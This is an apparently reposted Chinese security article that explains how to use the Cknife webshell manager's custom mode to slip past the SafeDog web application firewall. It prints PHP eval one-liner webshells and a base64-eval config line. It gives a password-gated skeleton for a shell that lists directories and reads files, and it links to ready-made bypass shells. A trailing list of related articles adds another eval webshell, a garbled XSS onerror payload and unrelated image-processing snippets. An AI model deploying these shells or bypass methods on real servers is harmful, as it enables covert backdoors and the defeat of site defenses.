linux 安全狗 乱码,打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

article/2025/10/1 1:07:16

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

相关阅读:

0x00 前言

很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版,仅仅多了跨平台的功能,其实小伙伴们还没有用到精髓之处,她其实也是一款过WAF的利器。没有给大家讲解如何去使用它这是我的责任,我是一个有责任心的基佬,我会对大家负责的,于是有了下面的文章:

0x01 两种方法

Cknife有两种过WAF模式,一种为修改配置文件(Config.ini)过WAF,另外一种为Customize(自定义)模式过WAF。今天以自定义模式为例实例讲解秒过安全狗,当然文章发布过后各大WAF厂商肯定会将某些特征列入黑名单,这里只是抛砖引玉提供思路。

0x02 ReadMe.txt

很多朋友在使用软件的时候都很少会关注她,这里我附上它的有关于过WAF方面的一些内容,请大家仔细阅读红色部分。

[此处省略1W字]

使用说明:

服务端脚本支持ASP、ASPX、PHP、JSP、Customize(自定义)。

代码包含且不限于如下代码(只要能构造出类似eval的函数就行,比如PHP的create_function、assert等)

ASP:

ASP.NET:

PHP:<?php @eval($_POST['Cknife']);?>

JSP:

[代码详见1.jsp]

Customize:

自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。

过WAF:

这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。

我分开了每一个步骤写入到配置文件里面,用户可以自定义任何代码,包括更改参数名称,参数内容。

比如:SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbus

SPL=->|                                               表示截取数据的开始符号

SPR=|

CODE=code                                      编码参数

ACTION=action                                      动作参数

PARAM1=z1                                     参数1

PARAM2=z2                                     参数2

PHP_BASE64=1                                       当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0

PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式

PHP_INDEX=...                                    显示主页功能的代码放这儿

PHP_READDICT=...                                     读取主页功能的代码放这儿

PHP_READFILE=...                                      读取文件功能的代码放这儿

PHP_DELETE=...                                    删除文件夹以及文件功能的代码放这儿

PHP_RENAME=...                                    重命名文件夹以及文件功能的代码放这儿

PHP_NEWDICT=...                                    新建目录功能的代码放这儿

PHP_UPLOAD=...                           上传文件功能的代码放这儿

PHP_DOWNLOAD=...                                    下载文件功能的代码放这儿

PHP_SHELL=...                                   虚拟终端功能的代码放这儿

PHP_DB_MYSQL=...                                   管理MYSQL数据库功能的代码放这儿

ASP_...=...

ASPX_...=...

JSP_...=...

除了修改以上参数过WAF外,程序还额外提供了一种Customize过WAF的模式。

Customize模式原本是用于支持一些程序默认不支持的脚本,比如CFM、ASMX、ASHX、PY等等,只要用户自写的脚本能正确与菜刀进行交互即可。

换一个思考方式,如果我们自写一个PHP脚本实现了列文件以及目录的功能,它能够正确的与C刀进行交互,这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。

应该选择Customize模式进行连接。有人说为什么一句话就可以连接,你偏偏还要写这么多代码用Customize模式连接?如果一个很厉害的WAF检测eval,assert等关键词

,你的一句话实在是饶不过,这个时候你可以不用一句话,就在PHP脚本里用正常代码实现列文件以及目录,然后用Customize模式连接就达到了过WAF的目的。

Customize(自定义)模式跟其他模式一样,每一个步骤也都写入到配置文件里面,用户同样可以参数名称以及参数内容。

比如你自写了用Customize模式连接的Customize.php服务端。

显示主页功能提交的参数应该是:密码=1&action=index以及密码=1&action=readdict。

如果C刀普及以后WAF厂商肯定会把readdict列入黑名单,这个时候你就可以修改readdict的名称为其他名称,同样可以修改action的名称,也可以修改1为其他字符CUS_MAKE=1

CUS_INDEX=index

CUS_READDICT=readdict

CUS_READFILE=readfile

CUS_SAVEFILE=savefile

CUS_DELETE=delete

CUS_RENAME=rename

CUS_NEWDICT=newdict

CUS_UPLOAD=upload

CUS_DOWNLOAD=download

CUS_SHELL=shell

[此处省略1W字]

0×03 自定义模式过WAF原理

如果只是使用一句话,很多厂商都查杀了eval等敏感关键词,也查杀了传递过程中数据包中的敏感关键词。我们只需要正常的实现列目录、读文件等功能并且没有包含eval等敏感关键词就可以绕过WAF,即服务端不使用一句话,而是把功能代码都放在服务端来执行,客户端提交正常的数据包。

0x04 过狗准备

有的朋友说还要自己写列目录、读文件等等这些功能啊,那肯定没戏了。其实不需要自己写,只需要复制粘贴修改即可。

你要有点编程基础(不用担心只要会if语句就行),然后按照我给的框架添加就行。以PHP为例:

框架如下:

$pwd= 'Cknife';        //密码

if($_POST [$pwd] == 1) {

$act = $_POST ['action'];         // action名称

echo ("->|");    //前分隔符

if ($act == 'index') {           //显示主页功能

} else if ($act == 'readdict') {   //读取目录功能

} else if ($act == …)          //你想要实现的功能,可以从Config.ini里面解密出来使用

{

}

echo ("|

}

?>

首先打开咋们可爱的Config.ini文件,找到PHP_INDEX

e615e44651490f2e6055ebd031dea585.png

它是C刀文件管理显示主页的功能,我们先把它解密,先url解密再base64解密

d786b02abb153e2f8e478939bbf82ba3.png

把解密结果放到eclipse里面,自动整理下(右键Source->Format)

a7f0a0cd248f808a51d1e46e0ed9d7c2.png

去掉echo ("->|")前面的所有代码,去掉echo ("|

db640c83ee52a6b664932db25f0f104e.png

然后就是找到PHP_READDICT解密,这里要注意解密出来z1参数前面有base64_decode函数,我们的自定义模式下传递方式是原文传递,不会自动base64加密,所以要去掉base64_decode函数

975ae6898037f6ebd6eb81088fc004b5.png

还是老规矩,去掉echo ("->|")前面的所有代码,去掉echo ("|

b4203a8cd2ef36fbf1252d223eb6846d.png

最后按照前面的方式再加入读取文件的功能,即PHP_READFILE

27f12321f022ca2eaf9a8738dad19cdc.png

把代码保存为test.php,然后选用自定义模式连接

331d0c0c72f7edd173a2cbe9e77220db.png

测试发现并没有拦截

aa283cbb4f847fed1d0a42a051c86af3.png

66aa681fdfe827271228352b54696756.png

我们尝试下一句话连接,发现会被拦截

085a2e42914257084547733302efee56.png

e12d1d007e05097551608af9feba95af.png

0x05 Chora小伙伴的PHP自定义模式过狗代码

见下载地址 密码:f65g     cus.php

0x05 MelodyZX小伙伴的ASP自定义模式过狗代码

见下载地址 密码:f65g      cus.asp

0x06 总结

参数名称,参数内容都可以修改,哪怕是厂商把readdict列入黑名单,你同样可以在Config.ini里面修改成其他的名称。让我想起了周星驰破坏之王里的一句话:“我不是针对谁,我是说在座的各位都是垃圾”。无敌是多么的寂寞。

*本文由Chora撰写并投稿,本文属FreeBuf原创奖励计划文章,未经许可禁止转载


http://chatgpt.dhexx.cn/article/vKlhgVM7.shtml

相关文章

Cknife流量分析

本文首发&#xff1a;https://<img src1 οnerrοr\u006coc\u0061tionj\x61v\x61script:\x61lert\x281\x29>testdemo 0x01 环境 <?php eval($_REQUEST[shell] ?> 0x02 命令执行 执行命令结果如下图所示 POST的数据如下图所示 对POST的数据解码 #shell eval(base6…

渗透工具环境篇——Cknife中国菜刀的使用

提要 在学习上传漏洞的时候研究到了Cknife这个软件。下面来介绍一下菜刀的使用方法。 使用 1.下载菜刀&#xff0c;打开Cknife.jar软件 2.右键点击添加 3.输入上传的php文件&#xff0c;php文件密码&#xff0c;脚本类型选择PHP&#xff0c;字符编码GB2312&#xff0c;点…

关于cknife与burpsuite对java的版本需求的冲突机器解决办法

之前安装burpsuite时候使用的是jdk11,一直使用的没有问题&#xff0c;后来接触到了cknife,但在使用时却发现cknife需要jre1.7以上版本&#xff0c;但这有是burpsuit无法兼容的&#xff0c;翻来覆去整了半天&#xff0c;终于搞定了。。 1.先删除jdk-11 2.下载jdk-7u80,这里面是…

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)

免责声明&#xff1a;本站提供安全工具、程序(方法)可能带有攻击性&#xff0c;仅供安全研究与教学之用&#xff0c;风险自负! 000 前言 亲爱的Chora小伙伴在上文说过&#xff0c;他是一个有责任心的基佬&#xff0c;要手把手为大家&#xff08;不&#xff09;负责任的讲解如何…

图像位运算、掩模

图像位运算、掩模 原图 添加的RGB图像 1. 选取原图中的感兴趣的区域&#xff0c;即ROI&#xff08;region of interest&#xff09; 2. 将要添加的RGB图像转换成灰度图像 img2gray cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)3. 将灰度图像进一步转成二值图像&#xff0c;即…

【图像锐化】非锐化掩模 USM(Unsharpen Mask)与锐化掩模 SM(Sharpen Mask)

非锐化掩模USM&#xff08;Unsharpen Mask&#xff09;与锐化掩模 SM&#xff08;Sharpen Mask&#xff09; 掩膜操作可以提高图像对比度&#xff0c;对比度提高可以增加图像感官度、锐化&#xff0c;让看起来有点模糊的图像更清晰。 原理&#xff1a;提取图像的高频分量&#…

2021年中国光掩模玻璃基板行业市场需求量分析:IC、FPD领域快速发展带动光掩模玻璃基板需求量不断增长[图]

一、概述 光刻掩膜版,简称掩膜版,是微纳加工技术常用的光刻工艺所使用的图形母版。由不透明的遮光薄膜在透明基板上形成掩膜图形结构,再通过曝光过程将图形信息转移到产品基片上。 光学掩模板是在薄膜、塑料或玻璃基体材料上制作各种功能图形并精确定位,以便用于光致抗蚀…

【OpenCV 】图像掩模

图像掩模&#xff08;image mask&#xff09;&#xff1a;用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&#xff09;进行遮挡来控制图像处理的区域或处理过程。由于覆盖的特定图像或物体称为掩模或模板。 数字图像处理中&#xff0c;掩模为二维…

【youcans 的 OpenCV 例程200篇】179.图像分割之 GrabCut 图割法(掩模图像)

【youcans 的 OpenCV 例程200篇】176.图像分割之均值漂移算法 【youcans 的 OpenCV 例程200篇】177.图像分割之 GraphCuts 图割法 【youcans 的 OpenCV 例程200篇】178.图像分割之 GrabCut 图割法&#xff08;框选前景&#xff09; 【youcans 的 OpenCV 例程200篇】179.图像分割…

OpenCV python 掩模处理学习笔记

OpenCV python 掩模处理 前言1.1 掩模是什么1.2 掩模的原理1.3 构造掩模图像总结 前言 接上篇OpenCV Python 直方图的使用。在opencv中使用掩模对图像进行处理是一个十分常用的方法。本篇是记录掩模操作的原理及使用。小白入门&#xff0c;如有不正确的地方希望大佬指正。 提示…

OpenCV基于Python图像掩模处理

图像掩模 目标1. 图像掩模的概念2. 图像掩模的作用3. 示例演示 目标 本篇文章主要介绍图像掩模的概念、作用、及其简单实现。 1. 图像掩模的概念 图像掩模&#xff08;image mask&#xff09;是用选定的图像、图形或物体&#xff0c;对待处理的图像&#xff08;局部或全部&a…

CodedStereo:大尺度景深双目视觉的相位掩模学习(CVPR2021)

点击上方“3D视觉工坊”&#xff0c;选择“星标” 干货第一时间送达 来源丨泡泡机器人SLAM 作者丨泡泡机器人 标题&#xff1a;CodedStereo: Learned Phase Masks for LargeDepth-of-Field Stereo 作者:Shiyu Tan, Yicheng Wu, Shoou-I Yu&#xff0c; Ashok Veeraraghavan 机构…

OpenCV笔记整理【直方图和掩模】

1. 直方图&#xff1a; 直方图统计图像中各个灰度级出现的次数&#xff0c;横坐标为各个像素点的灰度级&#xff0c;纵坐标是具有该灰度级的像素个数。 上面这个九宫格我们可以想象成一张图像&#xff0c;里面的数字代表当前像素的灰度等级。 用图表显示&#xff1a;X轴代表…

数字图像处理 掩模

将logo叠加在图片上 将logo图片进行灰度化阈值处理得到掩模 (需要的部分是置非0 不需要的黑色的部分置0) 然后需要利用掩模对logo图像和人物图像分别进行处理 对logo图&#xff1a; 需要把黑色部分去掉-----与掩模进行与操作把黑色部分置0 Ps:黑色部分用add叠加时相当于没有…

OpenCV基本功 之 图像的掩模、运算 合并专题 -小啾带学【Python-Open_CV系列(七)】

OpenCV图像的掩模、运算 与 合并专题 【Python-Open_CV系列&#xff08;七&#xff09;】 文章目录 1.图像的掩模2.图像的运算2.1 图像的加法运算2.1.1 “”方法2.1.2 cv2.add()方法2.1.3 使用掩模遮盖相加结果 2.2 图像的位运算2.2.1 按位与 cv2.bitwise_and()2.2.2 按位或 c…

空间掩模matlab,浅谈基于SLM的非相干全息系统掩模设计及成像处理

宋冲 摘要:基于空间光调制器(Spatial Light Modulator,SLM)的菲涅尔非相干相关数字全息系统,无需对物体在空间或时间上进行扫描,可以快速获取真实三维物体的全息图,在荧光生物样品显微成像、彩色全息显示、以及自适应光学等领域展示了极大应用潜力。通过本项目的研究,为S…

matlab 掩模,用于图像中的与脸部有关的选择和处理的图像掩模制造技术

【技术实现步骤摘要】 【国外来华专利技术】【专利说明】用于图像中的与脸部有关的选择和处理的图像掩模相关串请的交叉引用本申请要求对通过完全引用而结合于此、提交于2013年5月14日的第13/894&#xff0c;384号美国专利申请的优先权。 技术介绍 数字相机的流行和便利以及因特…

图像掩模matlab,图像掩模_matlab_图像掩模

光学图像处理中,掩模可以足胶片、滤光片等。数字图像处理中,掩模为二维矩阵数组,有时也用多值图像。数字图像处理中,图像掩模主要用于:①提取感兴趣区,用预先制作的感兴 未来手机触摸屏要靠无掩模光刻技术_多点触摸 337x396 - 29KB - JPEG 5.4.3 选择式掩模平滑 - 51CTO.COM 53…

图像中的掩膜(Mask)是什么

项目github地址&#xff1a;bitcarmanlee easy-algorithm-interview-and-practice 欢迎大家star&#xff0c;留言&#xff0c;一起学习进步 在图像处理中&#xff0c;经常会碰到掩膜(Mask)这个词。那么这个词到底是什么意思呢&#xff1f;下面来简单解释一下。 1.什么是掩膜 …

第三章-OpenCV基础-4-掩模

基本概念 掩模,又称为掩膜,掩码,模板。图像掩模是指,用特定的图像/图形/物体遮挡代处理的图像(全部或局部),从而控制图像处理的区域,在数字图像处理中,掩模就是一个指定的数组,毕竟,图像也是数组。 左边图为原图,中间图为掩模(白色区域为透明区域,黑色区域为黑色遮挡区域),经过…